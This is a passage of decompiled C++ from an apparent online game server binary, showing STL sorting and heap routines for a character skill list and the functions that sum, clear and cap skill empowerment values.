*(_DWORD *)(v11 + 12); v25 = *(_DWORD *)(v11 + 16); v13 = v11; v24 = v12; if ( v11 + *(_DWORD *)&v10 == v5 ) { v14 = &_First; } else { v18 = v11 + *(_DWORD *)&v10; v14 = (std::vector >::iterator *)&v18; } v15 = *(_DWORD *)&v14->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_DWORD *)&v14->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] != v11 ) { do { *(_DWORD *)v13 = *(_DWORD *)v15; *(_DWORD *)(v13 + 4) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v13 + 8) = *(_DWORD *)(v15 + 8); *(_DWORD *)(v13 + 12) = *(_DWORD *)(v15 + 12); *(_DWORD *)(v13 + 16) = *(_DWORD *)(v15 + 16); v16 = (*(_DWORD *)&v5 - v15) / 20; v13 = v15; if ( v6 >= v16 ) { v20 = *(_DWORD *)&_First + 20 * (v6 - v16); v17 = &v20; } else { v19 = v15 + *(_DWORD *)&_Mid; v17 = &v19; } v15 = *v17; } while ( *v17 != v11 ); v10 = _Mid; } *(_DWORD *)v13 = _Holeval; *(_DWORD *)(v13 + 4) = v22; *(_DWORD *)(v13 + 8) = v23; *(_DWORD *)(v13 + 12) = v24; *(_DWORD *)(v13 + 16) = v25; v11 -= 20; --*(_DWORD *)&_Last; } while ( _Last ); } } //----- (0042F940) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(CharaterSkillList::CharSkill *_First, unsigned int _Count, CharaterSkillList::CharSkill *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 CharaterSkillList::CharSkill *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->cs_SkillId = *(_DWORD *)&_Val->cs_SkillId; v6->cs_EndOfCooltime = _Val->cs_EndOfCooltime; *(_DWORD *)&v6->cs_Empower._bf0 = *(_DWORD *)&_Val->cs_Empower._bf0; v6->cs_Mastery = _Val->cs_Mastery; v6->cs_bSave = _Val->cs_bSave; } ++v6; --v5; } while ( v5 ); } } //----- (0042F990) -------------------------------------------------------- void __cdecl std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v4; // eax@1 int v5; // eax@2 int v6; // edi@2 int v7; // edx@2 int v8; // esi@2 std::vector >::iterator v9; // ST30_4@2 std::vector >::iterator v10; // ST18_4@2 int v11; // ST10_4@2 int _Firsta; // [sp+8h] [bp+4h]@2 int _Lasta; // [sp+10h] [bp+Ch]@2 v4 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v4 <= 40 ) { std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, _Mid, _Last, _Pred); } else { v5 = (v4 + 1) / 8; v6 = 40 * v5; v7 = 40 * v5 + *(_DWORD *)&_First; v8 = 20 * v5; v9 = _First; _Firsta = 20 * v5 + *(_DWORD *)&_First; std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v9, (std::vector >::iterator)_Firsta, (std::vector >::iterator)v7, _Pred); std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)(*(_DWORD *)&_Mid - v8), _Mid, (std::vector >::iterator)(v8 + *(_DWORD *)&_Mid), _Pred); v10 = _Last; v11 = *(_DWORD *)&_Last - v6; _Lasta = *(_DWORD *)&_Last - v8; std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)v11, (std::vector >::iterator)_Lasta, v10, _Pred); std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)_Firsta, _Mid, (std::vector >::iterator)_Lasta, _Pred); } } //----- (0042FA40) -------------------------------------------------------- void __cdecl std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Bottom, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v5; // edi@1 int v6; // esi@1 bool i; // zf@1 int v8; // eax@4 int v9; // ecx@4 int v10; // eax@6 int v11; // ecx@6 _BYTE v12[20]; // ST0C_20@7 v5 = _Hole; v6 = 2 * _Hole + 2; for ( i = v6 == _Bottom; v6 < _Bottom; *(_DWORD *)(v9 + 16) = *(_DWORD *)(v8 + 16) ) { if ( _Pred( (CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * v6), (CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * v6 - 20)) ) --v6; v8 = *(_DWORD *)&_First + 20 * v6; v9 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)v9 = *(_DWORD *)v8; *(_DWORD *)(v9 + 4) = *(_DWORD *)(v8 + 4); *(_DWORD *)(v9 + 8) = *(_DWORD *)(v8 + 8); *(_DWORD *)(v9 + 12) = *(_DWORD *)(v8 + 12); v5 = v6; v6 = 2 * v6 + 2; i = v6 == _Bottom; } if ( i ) { v10 = *(_DWORD *)&_First + 20 * _Bottom - 20; v11 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)v11 = *(_DWORD *)v10; *(_DWORD *)(v11 + 4) = *(_DWORD *)(v10 + 4); *(_DWORD *)(v11 + 8) = *(_DWORD *)(v10 + 8); *(_DWORD *)(v11 + 12) = *(_DWORD *)(v10 + 12); *(_DWORD *)(v11 + 16) = *(_DWORD *)(v10 + 16); v5 = _Bottom - 1; } *(_DWORD *)v12 = *(_DWORD *)&_Val; *(_QWORD *)&v12[4] = *(_QWORD *)&_Val.cs_EndOfCooltime; *(_QWORD *)&v12[12] = *(_QWORD *)&_Val.cs_Mastery; std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, v5, _Hole, *(CharaterSkillList::CharSkill *)v12, _Pred); } //----- (0042FB20) -------------------------------------------------------- void __cdecl std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal) { _BYTE v6[20]; // ST0C_20@1 signed int v7; // edx@1 **(_DWORD **)&_Dest = **(_DWORD **)&_First; *(_DWORD *)(*(_DWORD *)&_Dest + 4) = *(_DWORD *)(*(_DWORD *)&_First + 4); *(_DWORD *)(*(_DWORD *)&_Dest + 8) = *(_DWORD *)(*(_DWORD *)&_First + 8); *(_DWORD *)(*(_DWORD *)&_Dest + 12) = *(_DWORD *)(*(_DWORD *)&_First + 12); *(_DWORD *)(*(_DWORD *)&_Dest + 16) = *(_DWORD *)(*(_DWORD *)&_First + 16); *(_DWORD *)v6 = *(_DWORD *)&_Val; *(_QWORD *)&v6[4] = *(_QWORD *)&_Val.cs_EndOfCooltime; *(_QWORD *)&v6[12] = *(_QWORD *)&_Val.cs_Mastery; v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32) >> 3; std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, 0, v7 + ((unsigned int)v7 >> 31), *(CharaterSkillList::CharSkill *)v6, _Pred); } //----- (0042FBA0) -------------------------------------------------------- int __thiscall CharaterSkillList::csl_EmpowerSummary(CharaterSkillList *this) { CharaterSkillList *v1; // edi@1 int v2; // esi@1 int v3; // ecx@2 int v4; // edx@2 unsigned int v5; // eax@3 unsigned int v6; // edi@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerSummary"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerSummary"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( v1->csl_SkillNumber > 0 ) { v3 = (int)&v1->csl_Skill._Myfirst->cs_Empower; v4 = v1->csl_SkillNumber; do { v5 = *(_WORD *)v3; v6 = ((unsigned int)*(_WORD *)v3 >> 12) + (((unsigned int)*(_WORD *)v3 >> 4) & 0xF) + ((v5 >> 8) & 0xF); v3 += 20; --v4; v2 += (v5 & 0xF) + v6; } while ( v4 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerSummary"); return v2; } //----- (0042FC40) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_EmpowerClear(CharaterSkillList *this) { CharaterSkillList *v1; // esi@1 unsigned int v2; // ebx@1 int i; // ecx@1 CharaterSkillList::CharSkill *v4; // edi@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = 0; ++funcallanalizer.fca_stackpoint; for ( i = 0; ; ++i ) { v4 = v1->csl_Skill._Myfirst; if ( !v4 ) break; if ( v2 >= v1->csl_Skill._Mylast - v4 ) break; HIBYTE(v4[i].cs_Empower._bf0) &= 0xFu; HIBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xF0u; LOBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xFu; LOBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xF0u; ++v2; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerClear"); } //----- (0042FCF0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, CharaterSkillList::CharSkill *_Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal) { std::vector >::iterator v6; // ebp@1 signed int v7; // edx@1 signed int v8; // edi@1 std::vector >::iterator *v9; // eax@6 v6 = _First; v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32) >> 3; v8 = v7 + ((unsigned int)v7 >> 31); while ( v8 > 0 ) { if ( _Pred((CharaterSkillList::CharSkill *)(*(_DWORD *)&v6 + 20 * v8 / 2), _Val) ) { *(_DWORD *)&v6 += 20 * v8 / 2 + 20; v8 += -1 - v8 / 2; } else { v8 /= 2; } } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v9; } //----- (0042FD60) -------------------------------------------------------- std::pair >::iterator,std::vector >::iterator> *__cdecl std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::pair >::iterator,std::vector >::iterator> *result, std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v4; // esi@1 int v5; // ebx@1 unsigned int v6; // ebp@9 unsigned int v7; // edi@9 int v8; // ecx@13 int v9; // ST8C_4@13 int v10; // ST90_4@13 int v11; // ST98_4@13 int v12; // ST94_4@13 bool v13; // zf@15 int v14; // ebp@16 int v15; // ST60_4@19 int v16; // ST64_4@19 int v17; // ST68_4@19 int v18; // ST6C_4@19 int v19; // ST70_4@19 bool v20; // cf@20 int v21; // eax@25 int v22; // STA0_4@25 int v23; // STA4_4@25 int v24; // STAC_4@25 int v25; // STA8_4@25 int v26; // ST74_4@26 int v27; // ST78_4@26 int v28; // ST7C_4@26 int v29; // ST84_4@26 unsigned int v30; // eax@26 int v31; // ST80_4@26 int v32; // ST24_4@29 int v33; // ST28_4@29 int v34; // ST2C_4@29 int v35; // ST30_4@29 int v36; // ST34_4@29 int v37; // ST38_4@30 int v38; // ST3C_4@30 int v39; // ST40_4@30 int v40; // ST44_4@30 int v41; // ST48_4@30 int v42; // ST4C_4@31 int v43; // ST50_4@31 int v44; // ST54_4@31 int v45; // ST58_4@31 int v46; // ST5C_4@31 std::pair >::iterator,std::vector >::iterator> *v47; // eax@32 int _Glast; // [sp+10h] [bp-90h]@2 unsigned int _Glasta; // [sp+10h] [bp-90h]@9 v4 = *(_DWORD *)&_First + 20 * (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2; std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, (std::vector >::iterator)(*(_DWORD *)&_First + 20 * (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2), (std::vector >::iterator)(*(_DWORD *)&_Last - 20), _Pred); v5 = v4 + 20; if ( *(unsigned int *)&_First < v4 ) { do { _Glast = v4 - 20; if ( _Pred((CharaterSkillList::CharSkill *)(v4 - 20), (CharaterSkillList::CharSkill *)v4) ) break; if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)_Glast) ) break; v4 -= 20; } while ( *(unsigned int *)&_First < _Glast ); } for ( ; v5 < *(unsigned int *)&_Last; v5 += 20 ) { if ( _Pred((CharaterSkillList::CharSkill *)v5, (CharaterSkillList::CharSkill *)v4) ) break; if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v5) ) break; } v6 = v4; v7 = v5; _Glasta = v4; while ( 1 ) { while ( 1 ) { for ( ; v7 < *(_DWORD *)&_Last; v7 += 20 ) { if ( !_Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v7) ) { if ( _Pred((CharaterSkillList::CharSkill *)v7, (CharaterSkillList::CharSkill *)v4) ) break; v8 = *(_DWORD *)v5; v9 = *(_DWORD *)(v5 + 4); v10 = *(_DWORD *)(v5 + 8); v11 = *(_DWORD *)(v5 + 16); v12 = *(_DWORD *)(v5 + 12); *(_DWORD *)v5 = *(_DWORD *)v7; *(_DWORD *)(v5 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v5 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v5 + 12) = *(_DWORD *)(v7 + 12); v6 = _Glasta; *(_DWORD *)(v5 + 16) = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = v8; *(_DWORD *)(v7 + 4) = v9; *(_DWORD *)(v7 + 8) = v10; *(_DWORD *)(v7 + 12) = v12; v5 += 20; *(_DWORD *)(v7 + 16) = v11; } } v13 = v6 == _First; if ( v6 > *(_DWORD *)&_First ) { v14 = v6 - 20; do { if ( !_Pred((CharaterSkillList::CharSkill *)v14, (CharaterSkillList::CharSkill *)v4) ) { if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v14) ) break; v4 -= 20; v15 = *(_DWORD *)v4; v16 = *(_DWORD *)(v4 + 4); v17 = *(_DWORD *)(v4 + 8); v18 = *(_DWORD *)(v4 + 12); v19 = *(_DWORD *)(v4 + 16); *(_DWORD *)v4 = *(_DWORD *)v14; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v14 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v14 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v14 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v14 + 16); *(_DWORD *)v14 = v15; *(_DWORD *)(v14 + 4) = v16; *(_DWORD *)(v14 + 8) = v17; *(_DWORD *)(v14 + 12) = v18; *(_DWORD *)(v14 + 16) = v19; } v14 -= 20; v20 = *(_DWORD *)&_First < _Glasta - 20; _Glasta -= 20; } while ( v20 ); v6 = _Glasta; v13 = _Glasta == _First; } if ( v13 ) break; v6 -= 20; _Glasta = v6; if ( v7 == _Last ) { v4 -= 20; if ( v6 != v4 ) { v32 = *(_DWORD *)v6; v33 = *(_DWORD *)(v6 + 4); v34 = *(_DWORD *)(v6 + 8); v35 = *(_DWORD *)(v6 + 12); v36 = *(_DWORD *)(v6 + 16); *(_DWORD *)v6 = *(_DWORD *)v4; *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); *(_DWORD *)(v6 + 12) = *(_DWORD *)(v4 + 12); *(_DWORD *)(v6 + 16) = *(_DWORD *)(v4 + 16); *(_DWORD *)v4 = v32; *(_DWORD *)(v4 + 4) = v33; *(_DWORD *)(v4 + 8) = v34; *(_DWORD *)(v4 + 12) = v35; *(_DWORD *)(v4 + 16) = v36; } v37 = *(_DWORD *)v4; v38 = *(_DWORD *)(v4 + 4); v39 = *(_DWORD *)(v4 + 8); v40 = *(_DWORD *)(v4 + 12); v41 = *(_DWORD *)(v4 + 16); v5 -= 20; *(_DWORD *)v4 = *(_DWORD *)v5; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v5 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v5 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v5 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v5 + 16); *(_DWORD *)v5 = v37; *(_DWORD *)(v5 + 4) = v38; *(_DWORD *)(v5 + 8) = v39; *(_DWORD *)(v5 + 12) = v40; *(_DWORD *)(v5 + 16) = v41; } else { v42 = *(_DWORD *)v7; v43 = *(_DWORD *)(v7 + 4); v44 = *(_DWORD *)(v7 + 8); v45 = *(_DWORD *)(v7 + 12); v46 = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = *(_DWORD *)v6; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v6 + 4); *(_DWORD *)(v7 + 8) = *(_DWORD *)(v6 + 8); *(_DWORD *)(v7 + 12) = *(_DWORD *)(v6 + 12); *(_DWORD *)(v7 + 16) = *(_DWORD *)(v6 + 16); *(_DWORD *)v6 = v42; *(_DWORD *)(v6 + 4) = v43; *(_DWORD *)(v6 + 8) = v44; *(_DWORD *)(v6 + 12) = v45; v7 += 20; *(_DWORD *)(v6 + 16) = v46; } } if ( v7 == _Last ) break; if ( v5 != v7 ) { v21 = *(_DWORD *)v4; v22 = *(_DWORD *)(v4 + 4); v23 = *(_DWORD *)(v4 + 8); v24 = *(_DWORD *)(v4 + 16); v25 = *(_DWORD *)(v4 + 12); *(_DWORD *)v4 = *(_DWORD *)v5; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v5 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v5 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v5 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v5 + 16); *(_DWORD *)v5 = v21; *(_DWORD *)(v5 + 4) = v22; *(_DWORD *)(v5 + 8) = v23; *(_DWORD *)(v5 + 12) = v25; *(_DWORD *)(v5 + 16) = v24; } v26 = *(_DWORD *)v4; v27 = *(_DWORD *)(v4 + 4); v28 = *(_DWORD *)(v4 + 8); v29 = *(_DWORD *)(v4 + 16); v30 = v7; v31 = *(_DWORD *)(v4 + 12); *(_DWORD *)v4 = *(_DWORD *)v7; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v7 + 12); v6 = _Glasta; *(_DWORD *)(v4 + 16) = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = v26; *(_DWORD *)(v7 + 4) = v27; *(_DWORD *)(v7 + 8) = v28; v5 += 20; v7 += 20; *(_DWORD *)(v30 + 12) = v31; v4 += 20; *(_DWORD *)(v30 + 16) = v29; } v47 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; *(_DWORD *)&result->second.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v47; } //----- (00430230) -------------------------------------------------------- void __cdecl std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal, CharaterSkillList::CharSkill *a5) { int v5; // esi@1 int v6; // ebx@2 _BYTE v7[20]; // ST0C_20@3 v5 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2; if ( v5 > 0 ) { v6 = *(_DWORD *)&_First + 20 * v5; do { v6 -= 20; *(_DWORD *)v7 = *(_DWORD *)v6; *(_QWORD *)&v7[4] = *(_QWORD *)(v6 + 4); --v5; *(_QWORD *)&v7[12] = *(_QWORD *)(v6 + 12); std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, v5, (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20, *(CharaterSkillList::CharSkill *)v7, _Pred); } while ( v5 > 0 ); } } //----- (004302B0) -------------------------------------------------------- CharaterSkillList::CharSkill *__thiscall std::vector>::_Ufill(std::vector > *this, CharaterSkillList::CharSkill *_Ptr, unsigned int _Count, CharaterSkillList::CharSkill *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004302E0) -------------------------------------------------------- void __cdecl std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { std::vector >::iterator v3; // ebx@1 int i; // esi@2 CharaterSkillList::CharSkill *v5; // edi@7 std::vector >::iterator v6; // ebx@8 v3 = _First; if ( _First != _Last ) { for ( i = *(_DWORD *)&_First + 20; i != _Last; i += 20 ) { if ( _Pred((CharaterSkillList::CharSkill *)i, *(CharaterSkillList::CharSkill **)&v3) ) { if ( v3 != i ) { if ( i != i + 20 ) std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>( v3, (std::vector >::iterator)i, (std::vector >::iterator)(i + 20), 0, 0); } } else { v5 = (CharaterSkillList::CharSkill *)(i - 20); if ( _Pred((CharaterSkillList::CharSkill *)i, (CharaterSkillList::CharSkill *)(i - 20)) ) { do { v6 = (std::vector >::iterator)v5; --v5; } while ( _Pred((CharaterSkillList::CharSkill *)i, v5) ); if ( v6 != i && i != i + 20 ) std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>( v6, (std::vector >::iterator)i, (std::vector >::iterator)(i + 20), 0, 0); v3 = _First; } } } } } //----- (00430380) -------------------------------------------------------- CharaterSkillList::CharSkill *__thiscall CharaterSkillList::csl_GetSkillStruct(CharaterSkillList *this, std::vector >::iterator skl) { CharaterSkillList *v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // ebx@2 CharaterSkillList::CharSkill *result; // eax@3 CharaterSkillList::CharSkill compare; // [sp+10h] [bp-14h]@3 v2 = this; v3 = (std::vector >::iterator)this->csl_Skill._Myfirst; if ( !*(_DWORD *)&v3 || (v4 = (std::vector >::iterator)this->csl_Skill._Mylast, !((signed int)((char *)this->csl_Skill._Mylast - *(_DWORD *)&v3) / 20)) || (compare.cs_SkillId = *(_WORD *)&skl, std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( &skl, v3, v4, &compare, CharaterSkillList::CharSkill::cs_Compare_STLVer, 0), result = (CharaterSkillList::CharSkill *)skl, (CharaterSkillList::CharSkill *)skl == v2->csl_Skill._Mylast) || compare.cs_SkillId < **(_WORD **)&skl ) result = 0; return result; } //----- (00430400) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_IsLearn(CharaterSkillList *this, unsigned __int16 skill) { CharaterSkillList *v2; // esi@1 bool v3; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_IsLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_IsLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = CharaterSkillList::csl_GetSkillStruct(v2, skill) != 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_IsLearn"); return v3; } //----- (004304B0) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_EmpowerStruct(CharaterSkillList *this, unsigned __int16 skill, SKILL_EMPOWER *empower) { CharaterSkillList *v3; // ebp@1 SkillDataBox::SkillDataIndex *i; // edi@1 CharaterSkillList::CharSkill *v5; // eax@2 __int16 v6; // cx@3 __int16 v7; // dx@3 __int16 v8; // cx@3 __int16 v9; // ax@7 unsigned int v10; // eax@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerStruct"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerStruct"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; empower->_bf0 = 0; for ( i = SkillDataBox::operator__(&skilldatabox, skill); i; i = i->sdi_PrevSkill ) { v5 = CharaterSkillList::csl_GetSkillStruct(v3, i->sdi_Activ->ID); if ( v5 ) { v6 = empower->_bf0 ^ ((unsigned __int8)empower->_bf0 ^ (unsigned __int8)(empower->_bf0 + LOBYTE(v5->cs_Empower._bf0))) & 0xF; empower->_bf0 = v6; v7 = v6 ^ (unsigned __int8)((v6 ^ ((_BYTE)v6 + (v5->cs_Empower._bf0 & 0xF0))) & 0xF0); empower->_bf0 = v7; v8 = v7 ^ (v7 ^ (v7 + (v5->cs_Empower._bf0 & 0xFF00))) & 0xF00; empower->_bf0 = v8; empower->_bf0 = v8 + (v5->cs_Empower._bf0 & 0xF000); } } if ( (empower->_bf0 & 0xFu) > 5 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", empower->_bf0 & 0xF); empower->_bf0 = empower->_bf0 & 0xFFF5 | 5; } v9 = empower->_bf0; if ( (v9 & 0xF0u) > 0x50 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (unsigned __int8)empower->_bf0 >> 4); empower->_bf0 = empower->_bf0 & 0xFF5F | 0x50; } HIWORD(v10) = 0; if ( (empower->_bf0 & 0xF00u) > 0x500 ) { LOWORD(v10) = empower->_bf0; AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (v10 >> 8) & 0xF); empower->_bf0 = empower->_bf0 & 0xF5FF | 0x500; } if ( (empower->_bf0 & 0xF000u) > 0x5000 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (unsigned int)empower->_bf0 >> 12); empower->_bf0 = empower->_bf0 & 0xFFF | 0x5000; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerStruct"); } //----- (004306E0) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_EmpowerAlloc(CharaterSkillList *this, PROTO_NC_SKILL_EMPOWALLOC_REQ *empalloc, SKILL_EMPOWER *empowresult) { CharaterSkillList *v3; // edi@1 PROTO_NC_SKILL_EMPOWALLOC_REQ *v4; // esi@1 int v5; // edx@1 unsigned __int16 v6; // ax@1 int v7; // ecx@1 int v9; // ebp@3 int v10; // edi@3 unsigned int v11; // edi@5 unsigned int v12; // eax@9 unsigned int v13; // edx@9 int v14; // eax@9 __int16 v15; // bx@11 int v16; // ecx@11 bool v17; // zf@11 __int16 v18; // ax@14 CharaterSkillList::CharSkill *v19; // edi@17 __int16 v20; // cx@18 char v21; // al@18 __int16 v22; // ax@18 __int16 v23; // cx@18 int v24; // eax@18 __int16 v25; // cx@18 int v26; // ecx@18 int v27; // eax@18 int v28; // ecx@18 int v29; // eax@18 int v30; // ecx@18 SKILL_EMPOWER *v31; // eax@18 const char *v32; // [sp-Ch] [bp-30h]@6 int v33; // [sp-8h] [bp-2Ch]@6 FunctionEntarance _; // [sp+Ch] [bp-18h]@1 unsigned int v35; // [sp+10h] [bp-14h]@9 CharaterSkillList *thisa; // [sp+14h] [bp-10h]@1 int v37; // [sp+20h] [bp-4h]@1 v3 = this; thisa = this; _.fe_FunctionCode = "CharaterSkillList::csl_EmpowerAlloc"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); 